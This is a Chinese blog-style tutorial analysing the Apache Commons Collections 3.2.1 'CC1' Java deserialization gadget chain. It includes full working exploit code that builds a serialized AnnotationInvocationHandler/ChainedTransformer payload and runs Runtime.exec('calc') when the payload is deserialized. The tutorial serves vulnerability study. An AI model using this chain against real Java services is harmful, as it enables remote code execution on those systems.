Apache Commons Collection3.2.1反序列化分析(CC1)

Commons Collections简介

Commons Collections是Apache软件基金会的一个开源项目，它提供了一组可复用的数据结构和算法的实现，旨在扩展和增强Java集合框架，以便更好地满足不同类型应用的需求。该项目包含了多种不同类型的集合类、迭代器、队列、堆栈、映射、列表、集等数据结构实现，以及许多实用程序类和算法实现。它的代码质量较高，被广泛应用于Java应用程序开发中。

Commons Collections 3.1 版本的利用链衍生出多个版本的利用方式，但其核心部分是相同的，不同之处在于中间过程的构造。Ysoserial 反序列化利用工具中提供了几种利用方式：

image-20231225161904254

本文分析Commons Collections3.2.1版本下的一条最好用的反序列化漏洞链，这条攻击链被称为CC1链。

此包的类包含下面两个，需要重点关注：

Map

Commons Collections在java.util.Map的基础上扩展了很多接口和类，比较有代表性的是BidiMap、MultiMap和LazyMap。跟Bag和Buffer类似，Commons Collections也提供了一个MapUtils。

所谓BidiMap，直译就是双向Map，可以通过key找到value，也可以通过value找到key，这在我们日常的代码-名称匹配的时候很方便：因为我们除了需要通过代码找到名称之外，往往也需要处理用户输入的名称，然后获取其代码。需要注意的是BidiMap当中不光key不能重复，value也不可以。

所谓MultiMap，就是说一个key不再是简单的指向一个对象，而是一组对象，add()和remove()的时候跟普通的Map无异，只是在get()时返回一个Collection，利用MultiMap，我们就可以很方便的往一个key上放数量不定的对象，也就实现了一对多。

所谓LazyMap，意思就是这个Map中的键/值对一开始并不存在，当被调用到时才创建。

https://www.iteye.com/blog/duohuoteng-1630329

Transformer

我们有时候需要将某个对象转换成另一个对象供另一组方法调用，而这两类对象的类型有可能并不是出于同一个继承体系的，或者说出了很基本的Object之外没有共同的父类，或者我们根本不关心他们是不是有其他继承关系，甚至就是同一个类的实例只是对我们而言无所谓，我们为了它能够被后续的调用者有意义的识别和处理，在这样的情形，我们就可以利用Transformer。除了基本的转型Transformer之外，Commons Collections还提供了Transformer链和带条件的Transformer，使得我们很方便的组装出有意义的转型逻辑。

https://blog.csdn.net/liliugen/article/details/83298363

环境搭建

由于存在漏洞的版本 commons-collections3.1-3.2.1

jdk 8u71之后已修复不可用

这里下载JDK-8u65

https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html

下载安装，接下来就是配置到IDEA里面:

新建一个maven项目->项目JDK->添加JDK，找到我们刚安装的jdk-8u65

image-20231220174743475

然后配置Maven依赖下载CommonsCollections3.2.1版本

<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

image-20231220174925789

由于我们分析时要涉及的jdk源码，所以要把jdk的源码也下载下来方便我们分析。

下载地址:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

image-20231220180043245

点击左下角的zip即可下载，然后解压。再进入到相应JDK的文件夹中，里面本来就有个src.zip的压缩包，将其解压，然后把刚刚下载的源码包(jdk-af660750b2f4.zip)中/src/share/classes下的sun文件夹拷贝到src文件夹中去。

image-20231220180438271

打开IDEA，选择文件 —>项目结构 —>SDK —>源路径 —>把src文件夹添加到源路径下，保存即可。

image-20231220180609853

然后我们去sun包里面看一下代码，不再显示.class

image-20231220180849093

这样环境就配置完了。

反序列化分析

我们利用反序列化漏洞的方法一般是寻找到某个带有危险方法的类，然后溯源，看看哪个类中的方法有调用危险方法(有点像套娃，这个类中的某个方法调用了下个类中的某个方法，一步步套下去)，并且继承了序列化接口，然后再依次向上回溯，直到找到一个重写了readObject方法的类，并且符合条件，那么这个就是起始类，我们可以利用这个类一步步的调用到危险方法(这里以**“Runtime中的exec方法为例”**)，这就是大致的Java漏洞链流程。

源头

CC1链的源头就是Commons Collections库中的Tranformer接口，这个接口里面有个transform方法

image-20231221154622614

然后就是寻找继承了这个接口的类 :ctrl+alt+b

image-20231221154734308

可以看到有很多类，我们这里找到了有重写transform方法的InvokerTransformer类，并且可以看到它也继承了Serializable,很符合我们的要求。

image-20231221154947791

InvokerTransformer.transform()

定位到InvokerTransformer的transform方法

image-20231221155528294

//重写的transform方法
public Object transform(Object input) { //接收一个对象
 if (input == null) {
     return null;
 }
 try {
     Class cls = input.getClass();                               //可控的获取一个完整类的原型
     Method method = cls.getMethod(iMethodName, iParamTypes);    //可控的获取该类的某个特定方法
     return method.invoke(input, iArgs);                         //调用该类的方法
   //可以看到这里相当于是调用了我们熟悉的反射机制，来返回某个方法的利用值，这就是明显的利用点
  ...
  ...

可以看到，transform方法接受一个对象，不为空时，就会进行通过反射机制动态地调用对象的特定方法。

而iMethodName、iParamTypes、iArgs这几个参数都是通过构造函数控制的，并且为public：

image-20231221160125224

//含参构造器，我们在外部调用类时需要用到
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { //参数为方法名，所调用方法的参数类型，所调用方法的参数值
 super();
 iMethodName = methodName;
 iParamTypes = paramTypes;
 iArgs = args;
}

因为这些参数我们都可以控制，也就是说我们可以通过InvokerTransformer.transform()方法来调用任意类的任意方法，比如弹一个计算器：

测试代码1
/*      利用反射调用Runtime中的exec方法：
        Runtime r=Runtime.getRuntime();
        Class c=r.getClass();
        Method m=c.getMethod("exec", String.class);
        m.invoke(r,"calc");*/


Runtime r=Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); //方法名为exec，参数类型为String，参数值为calc
invokerTransformer.transform(r);

#其实就是相当于通过transform方法来实现了我们最基本的反射过程。

image-20231221162227834

可以看到，成功执行了命令，那么我们就找到了源头利用点了，接下来就是一步步回溯，寻找合适的子类，构造漏洞链，直到到达重写了readObject的类(没有的话就寄了)。

寻找某个类中的某个方法调用了transform方法，直接对这个方法右键查找用法(alt+F7)，可以看到有很多都调用了这个方法

image-20231221163300658

TransformedMap.checkSetValue()

这里我们直接来到TransformedMap类下的checkSetValue方法

image-20231221163544176

我们同样来看一下TransformedMap这个类的构造方法和checkSetValue方法

//构造方法
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    //接受三个参数，第一个为Map,我们可以传入HashMap,第二个和第三个就是Transformer我们需要的了，可控。
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer; //这里是可控的
    }


protected Object checkSetValue(Object value) { //接受一个对象类型的参数
    return valueTransformer.transform(value);
    //返回valueTransformer对应的transform方法
}

可以看到，我们只需要让valueTransformer等于我们之前的invokerTransformer对象，就又可以通过它来实现调用任意类的任意方法了。

但是这里有个问题，可以看到构造函数和方法都是protected权限的，也就是说只有在同一个包中才可以调用，不能外部调用去实例化，那么我们就需要找到内部实例化的工具，这里往上查找，可以找到一个public的静态方法decorate

TransformedMap.decorate()

很明显，该静态方法实例化了 TransformedMap对象，并且还是public方法，我们可以直接调用。

image-20231221164658990

因此，我们可以通过TransformedMap.decorate()方法来调用任意类的任意方法，比如修改之前的代码，弹一个计算器：

测试代码2
//invokerTransformer就是上个payload的 invokerTransformer，没有变。
Runtime r=Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
//invokerTransformer.transform(r);

 HashMap<Object,Object> map=new HashMap<>(); //这个直接实例化一个HashMap

 Map<Object,Object> decorateMap=TransformedMap.decorate(map,null,invokerTransformer); 
//静态方法staic修饰，直接类名＋方法名调用
//把map当成参数传入，然后第二个参数我们用不着就赋空值null,第三个参数就是我们之前的invokerTransformer

Class transformedMapClass = TransformedMap.class;  //TransformedMap.class返回TransformedMap类的Class对象。我们可以使用这个Class对象来访问和操作TransformedMap类的相关信息。

Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);  //使用transformedMapClass对象来获取TransformedMap类的checkSetValue方法。

checkSetValueMethod.setAccessible(true); //因为checkSetValue是peotected，所以需要使用 setAccessible(true)改变其作用域，这样即使私有的方法，也可以访问调用了

checkSetValueMethod.invoke(decorateMap,r); //invoke执行，Method.invoke()方法接受两个参数：1、调用方法的对象实例，2、要传递给方法的参数

image-20231221180505246

接下来我们就是要找哪里调用了 decorate 方法，但是并没有找到合适的，所以我们把目光再放回之前的 checkSetValue 方法，去找哪里调用了该方法。

这里我们同样查找用法(Alt+F7)，发现只有一个地方调用了checkSetValue方法：AbstractInputCheckedMapDecorator类的setValue

image-20231221180921897

AbstractInputCheckedMapDecorator->MapEntry.setValue()

现在我们关注 TransformedMap 父类 AbstractInputCheckedMapDecorator 内部的子类 MapEntry 中的setValue方法。

image-20231221181345573

Entry代表的是Map中的一个键值对，而在Map中我们可以看到有setValue方法，我们在对Map进行遍历的时候可以调用setValue这个方法

image-20231221182453366

不过上面MapEntry类实际上是重写了setValue方法，它继承了AbstractMapEntryDecorator这个类，这个类中存在setValue方法，

image-20231221185709098

而这个类又引入了Map.Entry接口，所以我们只需要进行常用的Map遍历，就可以调用setValue方法,然后水到渠成地调用checkSetValue方法

测试代码3
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//invokerTransformer.transform(r);

HashMap<Object, Object> map = new HashMap<>(); //这个直接实例化一个HashMap

map.put("key","value"); //给map一个键值对，方便遍历

Map<Object,Object> decorateMap=TransformedMap.decorate(map,null,invokerTransformer);

//用于遍历 decorateMap 中的每个 Entry 对象。在每次迭代中，将当前的 Entry 对象赋值给变量 entry。每个 Entry 对象表示一个键值对，其中包括键和对应的值。
for(Map.Entry entry:decorateMap.entrySet()) { //decorateMap 是一个 Map 对象，entrySet() 方法返回一个包含 Map 中键值对（Entry）的集合。
        entry.setValue(r);           //调用setValue方法，设置该 Entry 对象的值为 r
        }

decorateMap 之前的东西和之前都一样，不再讲述，区别是我们这里遍历了 decorateMap 来触发 setValue 。（注意 map.put(“key”,“value”) ，要不然map里面没东西，后面进不去for循环）

decorateMap 是 TransformedMap 类的，该类没有再实现 entrySet 方法，所以会调用父类的 entrySet 方法。故在for 循环时会进入如下方法：

image-20231221192151087

首先进行判断，如果判断通过的话，就会返回一个 EntrySet 的实例，而我们的 isSetValueChecking() 是恒返回true的，所以也就无所谓，直接返回实例。 所以我们的 entry 在这里也是来自 AbstractInputCheckedMapDecorator 类的，所以后面才可以调到 setValue 方法。效果如下：

image-20231221194156981

再来梳理一边这个过程:

首先，我们找到了TransformedMap这个类，我们想要调用其中的checkSetValue方法，但是这个类的构造器是peotected权限，只能类中访问，所以我们调用decorate方法来实例化这个类，在此之前我们先实例化了一个HashMap,并且调用了put方法给他赋了一个键值对，然后把这个map当成参数传入，实例化成了一个decorateMap对象，这个对象也是Map类型的，然后我们对这个对象进行遍历，在遍历过程中我们可以调用setValue方法，而恰好又遇到了一个重写了setValue的MapEntry副类，这个重写的方法刚好调用了checkSetValue方法，这样就形成了一个闭环

这里我们又找到了一个 setValue 方法，我们可以继续向上查找，看看有哪些方法里面调用了setValue并且可以被我们所利用 ，继续构造我们的链条。

这里看到了AnnotationInvocationHandler这个类，看到有个调用了setValue方法的readObject方法，很完美的实现了代替之前Map遍历功能

image-20231222150723868

AnnotationInvocationHandler.readObject()

这里我们找到了 AnnotationInvocationHandler 中的 readObject 方法

image-20231222161153771

先来解释一下这段代码：

//这是一个私有方法，用于反序列化对象。它接受一个 ObjectInputStream 类型的参数 s，用于读取对象的序列化数据。 
private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();
    	//使用 ObjectInputStream 的 defaultReadObject() 方法从输入流中读取对象的默认数据。这是为了保证默认的反序列化行为。

        // Check to make sure that types have not evolved incompatibly
		//这是一个自定义的类型，用于表示注解类型。
        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
    	//使用 for 循环遍历 memberValues.entrySet()，将每个键值对赋值给memberValue
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            //根据成员名从 memberTypes 中获取对应的成员类型。
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                //获取当前循环迭代的值（成员值）。
                Object value = memberValue.getValue();
                //判断成员值是否与成员类型兼容
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                   //如果成员值不兼容，将会创建一个新的 AnnotationTypeMismatchExceptionProxy 对象，并将其设置为对应的成员值。 
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
                
            }

可以看到，这里再调用setValue前面还要经过两个判断。

我们看一下 memberValue 是怎么传入的，这里定位到构造函数：

image-20231222161610754

可以看到memberValue是可控的，我们只需要在构造时把 memberValue 传给他就行了，但是这个构造函数的修饰符是默认的，

我们知道在 Java 中，如果在构造函数的定义中没有指定修饰符（如 public、private、protected 或者默认的包级私有），那么该构造函数将具有默认的包级私有访问修饰符。默认的包级私有访问修饰符意味着该构造函数可以在同一个包中的其他类中访问和调用，但在不同包中的类中是不可见的。

也就是说这个类只能在sun.reflect.annotation这个包下被调用，我们要想在外部调用，需要用到反射来解决。

结合前面， 我们可以再次写出利用代码：

测试代码4
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class Cc1 {
    public static void main(String[] args) throws Exception {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        //invokerTransformer.transform(r);

        HashMap<Object, Object> map = new HashMap<>(); //这个直接实例化一个HashMap
        map.put("key", "value"); //给map一个键值对，方便遍历

        Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, invokerTransformer);

        //反射获取AnnotationInvocationHandler类
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //getDeclaredConstructor() 获取当前类的构造方法，包括private， protected和public。
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true); //改变其作用域
        Object obj = constructor.newInstance(Override.class, decorateMap); //创建该类的实例，这里第一个参数是注解的类原型，第二个就是我们之前的类

        serialize(obj);  //序列化
        unserialize("C://java/CC1.ser"); //反序列化
    }


    //定义序列化方法
    public static void serialize(Object object) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("C://java/CC1.ser"));
        oos.writeObject(object);
    }

    //定义反序列化方法
    public static void unserialize(String filename) throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }
}

运行，然而无事发生，并没有我们想象中的弹框：

image-20231222165127995

问题1

调试看看，断点设在AnnotationInvocationHandler.readObject()之前说的两个判断处：

image-20231222165756700

调试运行，

这里我们直接就跳到了最下面，很显然，if循环没有进去，这里判断memberType，但是我们的 memberType正好为空。

image-20231222172446056

memberType 来自 memberTypes , memberTypes 来自 annotationType ， annotationType 来自 type （ annotationType = AnnotationType.getInstance(type); ）：

image-20231222173720728

而 type 来自我们传入构造方法的参数

image-20231222173739549

我们这里的要求传入的注解参数，是要求有成员变量的，并且成员变量要和 map 里面的 key 对的上。（ ! (memberType.isInstance(value) ）

image-20231222173829598

但是我们之前使用的Override注解没有成员变量，所以不行

image-20231222180722336

这里我们找到了SuppressWarnings注解，该注解有一个成员变量：

image-20231222174110657

于是，修改我们的代码如下（其实就修改了两行）：

image-20231222175009856

问题2

改完之后运行，结果报错：

image-20231222175035484

找不到exec方法

runtime方法并没有被调用到：

image-20231222175304375

同时，readObject 方法里面 setValue 的参数的实例居然是写死的，根本没用办法利用？？？

image-20231222181344885

解决无法传入runtime的问题

image-20231221154734308

ConstantTransformer类

image-20231225144656492

该方法的构造函数会将传入的对象给到iConstant，该类的 transform 方法无论传入的什么对象都会返回iConstant 。 但是我们并没有办法将ConstantTransformer的实例传递给TransformedMap，或者说没有办法建立 ConstantTransformer和InvokerTransformer之间的包含关系。于是我们又来到了 ChainedTransformer 类。

ChainedTransformer类

ChainedTransformer 类的 transform 方法：

image-20231225154324226

上述代码的意思是，如果给 ChainedTransformer 的属性 iTransformers 赋值为 ConstantTransformer 对象的话，则可以直接调用到ConstantTransformer的transform方法，如果赋值为 InvokerTransformer 对象的话，则可以直接调用到 InvokerTransformer 的 transform 方 法，则此时便有了一个关联关系，将 Runtime 对象通过 ConstantTransformer 进行赋值，然后就可以在构造链中得到 Runtime 对象了。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class Cc1 {
    public static void main(String[] args) throws Exception {
        //Runtime r = Runtime.getRuntime();
        //InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        //invokerTransformer.transform(r);

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class)  //Runtime没有serializable接口,不能被反序列化，我们需要用它的原型类class
        };
        ChainedTransformer chainedTransformer = new
                ChainedTransformer(transformers);

        HashMap<Object, Object> map = new HashMap<>(); //这个直接实例化一个HashMap
        map.put("value", "value"); //给map一个键值对，方便遍历

        Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, chainedTransformer);

        //反射获取AnnotationInvocationHandler类
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //getDeclaredConstructor() 获取当前类的构造方法，包括private， protected和public。
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true); //改变其作用域
        Object obj = constructor.newInstance(SuppressWarnings.class, decorateMap); //创建该类的实例，这里第一个是参数是注解的类原型，第二个就是我们之前的类

        serialize(obj);  //序列化
        unserialize("C://Users/yokan/Desktop/code/java/CC1.ser"); //反序列化
    }


    //定义序列化方法
    public static void serialize(Object object) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("C://Users/yokan/Desktop/code/java/CC1.ser"));
        oos.writeObject(object);
    }

    //定义反序列化方法
    public static void unserialize(String filename) throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }
}

image-20231225152337831

但是此时我们只穿入了 Runtime 对象，之前的 InvokerTransformer 没有传进来，不过这个事情也是简单的，因为 InvokerTransformer类 我们需要的方法也是 transform ,都是一个名字，所以他们是兼容的，再结合 ChainedTransformer 的 transform 的特点，上一次调用的对象是下次参数:

image-20231225154500449

因此我们得到如下payload：

测试代码5
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class Cc1 {
    public static void main(String[] args) throws Exception {
        //Runtime r = Runtime.getRuntime();
        //InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        //invokerTransformer.transform(r);
		//创建一个Transformer数组用于储存InvokerTransformer的数据，便于遍历
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),//Runtime没有serializable接口,不能被反序列化，我们需要用它的原型类class
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> map = new HashMap<>(); //这个直接实例化一个HashMap
        map.put("value", "value"); //给map一个键值对，方便遍历

        Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, chainedTransformer);

        //反射获取AnnotationInvocationHandler类
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //getDeclaredConstructor() 获取当前类的构造方法，包括private， protected和public。
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true); //改变其作用域
        Object obj = constructor.newInstance(SuppressWarnings.class, decorateMap); //创建该类的实例，这里第一个是参数是注解的类原型，第二个就是我们之前的类

        serialize(obj);  //序列化
        unserialize("C://Users/yokan/Desktop/code/java/CC1.ser"); //反序列化
    }


    //定义序列化方法
    public static void serialize(Object object) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("C://Users/yokan/Desktop/code/java/CC1.ser"));
        oos.writeObject(object);
    }

    //定义反序列化方法
    public static void unserialize(String filename) throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }
}

最后成功弹出来计算器:

image-20231225154519992

总结

经过上面的步骤，我们可以得到如下的调用链：

ObjectInputStream.readObject()
	AnnotationInvocationHandler.readObject()
		Map().setValue()
			TransformedMap.decorate()
				ChainedTransformer.transform()
					ConstantTransformer.transform()
						InvokerTransformer.transform()
							Method.invoke()
							Class.getMethod()
						InvokerTransformer.transform()
							Method.invoke()
							Runtime.getRuntime()
						InvokerTransformer.transform()
							Method.invoke()
							Runtime.exec()

参考

https://xz.aliyun.com/t/12669

https://www.secpulse.com/archives/188750.html

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：/a/357379.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

相关文章

备战蓝桥杯---二分（入门）

备战蓝桥杯---二分（入门）

话不多说&#xff0c;先来个模板题来回顾一下上次讲的&#xff1a; 下面是AC代码&#xff1a; 下面进入正题&#xff1a; 本题对1&#xff0c;2行与3&#xff0c;4行组合&#xff0c;再用二分查找即可实现n^2logn的复杂度。 下面是AC代码&#xff1a; 接题&#xff1a; 让我们…
阅读更多...
【Python】03快速上手爬虫案例三：搞定药师帮

【Python】03快速上手爬虫案例三：搞定药师帮

文章目录 前言1、破解验证码2、获取数据 前言 提示&#xff1a;通过用户名、密码、搞定验证码&#xff0c;登录进药师帮网站&#xff0c;然后抓取想要的数据。 爬取数据&#xff0c;最终效果图&#xff1a; 1、破解验证码 使用药师帮测试系统&#xff1a;https://dianrc.ysb…
阅读更多...
Linux多线程详解

Linux多线程详解

Linux线程和多线程 Linux线程概念什么是线程二级页表线程异常 Linux进程VS线程进程的多个线程共享进程和线程的关系 Linux线程控制线程创建获取线程ID线程终止 分离线程线程ID及进程地址空间布局线程ID及进程地址空间布局 Linux线程概念 什么是线程 在一个程序里的一个执行路…
阅读更多...
Docker(第三部分)

Docker(第三部分)

1&#xff0c;Docker复杂安装说明 今天的优势会被明天趋势所取代 一切在云端 安装mysql主从复制 主从复制原理&#xff0c;默认你懂 主从搭建步骤 1&#xff0c;新建主从服务器容器实例3307 docker run -p 3307:3306 --name mysql-master\ -v /mydata/mysql-master/log:…
阅读更多...
Spring Boot使用七牛云

Spring Boot使用七牛云

一、引入和配置 //maven配置 <dependency><groupId>com.qiniu</groupId><artifactId>qiniu-java-sdk</artifactId><version>7.7.0</version> </dependency>#七牛云application.yml配置 qiniu:# 配置accessKeyaccessKey: &qu…
阅读更多...
Flask框架小程序后端分离开发学习笔记《5》简易服务器代码

Flask框架小程序后端分离开发学习笔记《5》简易服务器代码

Flask框架小程序后端分离开发学习笔记《5》 Flask是使用python的后端&#xff0c;由于小程序需要后端开发&#xff0c;遂学习一下后端开发。 简易服务器代码 接口解析那一块很关键&#xff0c;学后端服务器这一块&#xff0c;感觉主要就是学习相应地址的接口怎么处理。 然后…
阅读更多...
计算机毕业设计 | vue+springboot 超市账单管理系统(附源码)

计算机毕业设计 | vue+springboot 超市账单管理系统(附源码)

1&#xff0c;绪论 1.1 开发背景 世界上第一个购物中心诞生于美国纽约&#xff0c;外国人迈克尔库伦开设了第一家合作商店&#xff0c;为了更好地吸引大量客流量&#xff0c;迈克尔库伦精心设计了低价策略&#xff0c;通过大量进货把商品价格压低&#xff0c;通过商店一次性集…
阅读更多...
第 6 章：Linux中使用时钟、计时器和信号

第 6 章：Linux中使用时钟、计时器和信号

在本章中&#xff0c;我们将开始探索Linux环境中可用的各种计时器。随后&#xff0c;我们将深入了解时钟的重要性&#xff0c;并探讨UNIX时间的概念。接下来&#xff0c;我们将揭示在Linux中使用POSIX准确测量时间间隔的方法。之后&#xff0c;我们将进入std::chrono的领域&…
阅读更多...
【新书推荐】4.1 运算符与表达式

【新书推荐】4.1 运算符与表达式

本节必须掌握的知识点&#xff1a; 运算符 表达式 优先级 4.1.1 运算符 说到运算符与表达式&#xff0c;估计大家不会感到陌生&#xff0c;因为我们平常生活中经常接触到&#xff0c;比如我们买2元钱的馒头&#xff0c;付给老板5元钱&#xff0c;需找零钱3元钱。这中间的计算…
阅读更多...
RK3568 Android 13 系统裁剪

RK3568 Android 13 系统裁剪

android 13 系统裁剪是个大工程&#xff0c;裁剪也是需要大量的测试&#xff0c;才能保证系统的稳定性&#xff0c;以下是RK官方给出的裁剪方案&#xff0c;有兴趣的可以去看一下&#xff0c;对裁剪不是要求过高的可以根据官方的建议&#xff0c;对系统进行裁剪: Rockchip And…
阅读更多...
表贴式PMSM的直接转矩控制(DTC)MATLAB仿真模型

表贴式PMSM的直接转矩控制(DTC)MATLAB仿真模型

微❤关注“电气仔推送”获得资料&#xff08;专享优惠&#xff09; 模型简介 表贴式PMSM的直接转矩控制(DTC),直接使用滞环控制对转矩和磁链进行控制&#xff0c;相对于传统的FOC控制而言&#xff0c;其不需要进行解耦变换&#xff0c;在此次的有以下几点需要注意&#xff1a…
阅读更多...
linux监控工具

linux监控工具

官方吹的牛逼 LATEST BLOG POST: On the same workload, Netdata uses 35% less CPU, 49% less RAM, 12% less bandwidth, 98% less disk I/O, and is 75% more disk space efficient on high resolution metrics storage, while providing more than a year of overall reten…
阅读更多...
【开源之美】：cppcheck

【开源之美】：cppcheck

一、项目链接 https://github.com/danmar/cppcheck/tree/main 二、效果示例
阅读更多...
【MySQL】MVCC多版本并发控制

【MySQL】MVCC多版本并发控制

目录 一、数据库的并发场景二、多版本并发控制隐藏字段undo日志模拟MVCCRead View整体流程RC&#xff08;不可重复读&#xff09;和RR&#xff08;可重复读&#xff09;的本质区别 一、数据库的并发场景 数据库并发的场景无非如下三种&#xff1a; 读-读并发&#xff1a;不存…
阅读更多...
Ubuntu搭建国标平台wvp-GB28181-pro

Ubuntu搭建国标平台wvp-GB28181-pro

目录 简介安装和编译1.查看操作系统信息2.安装最新版的nodejs3.安装java环境4.安装mysql5.安装redis6.安装编译器7.安装cmake8.安装依赖库9.编译ZLMediaKit9.1.编译结果说明 10.编译wvp-GB28181-pro10.1.编译结果说明 配置1.WVP-PRO配置文件1.1.Mysql数据库配置1.2.REDIS数据库…
阅读更多...
Ubuntu 隐藏Telnet主机SSH服务时显示版本信息问题

Ubuntu 隐藏Telnet主机SSH服务时显示版本信息问题

一、背景 默认情况下&#xff0c;我们通过telnet服务器的22端口&#xff0c;能够获取OpenSSH服务的banner信息(如下图所示)。而低版本的OpenSSH存在许多高危漏洞。。为了安全我们要隐藏这个信息。 二、隐藏Telnet版本信息 当使用telnet命令&#xff0c;telnet 192.168.31.20…
阅读更多...
python打造光斑处理系统2：打开图像和默认图像

python打造光斑处理系统2：打开图像和默认图像

文章目录 打开图像默认图像 光斑处理&#xff1a;python处理高斯光束的图像 光斑处理系统&#xff1a;程序框架 打开图像 光斑图像的本质是光强在空间中的分布&#xff0c;而有的时候&#xff0c;通过CCD拍到的图像往往存成虚假的RGB格式&#xff0c;所以在打开图像时&#x…
阅读更多...
超越人类上限的策划：百度输入法在候选词区域植入广告

超越人类上限的策划：百度输入法在候选词区域植入广告

一位 V2EX 用户最新发帖称&#xff0c;百度输入法的最新版本中引入了一个新功能&#xff0c;将广告直接植入到候选词区域。 具体表现为&#xff0c;当用户输入某些关键词时&#xff0c;候选词区域会显示与输入内容相关的广告链接。例如&#xff0c;用户输入“招商”时&#xf…
阅读更多...
Elasticsearch：如何为 Elastic Stack 配置 AI Assistant

Elasticsearch：如何为 Elastic Stack 配置 AI Assistant

了解并安装 Elastic AI Assistant Elastic 推出了 Observability AI Assistant&#xff0c;这是一款利用生成式 AI 来增强你的 Observability 体验的强大工具。 该 AI 助手由 OpenAI 或 Azure OpenAI 服务的连接器提供支持&#xff0c;可带来上下文洞察和聊天功能&#xff0c;…
阅读更多...
企业如何遵守数据安全法规进行SAP数据脱敏处理？

企业如何遵守数据安全法规进行SAP数据脱敏处理？

为什么谈SAP数据脱敏&#xff1f; SAP进入中国市场超过30年&#xff0c;作为一个典型的德国思维的产品&#xff0c;我们很难找到另一个市值这么大的软件&#xff0c;在过去的几十年中&#xff0c;一直活的这么滋润&#xff0c;没有太多的挑战&#xff0c;而且软件本身的变化肉眼…
阅读更多...
最新文章

Copyright @ 2022~2023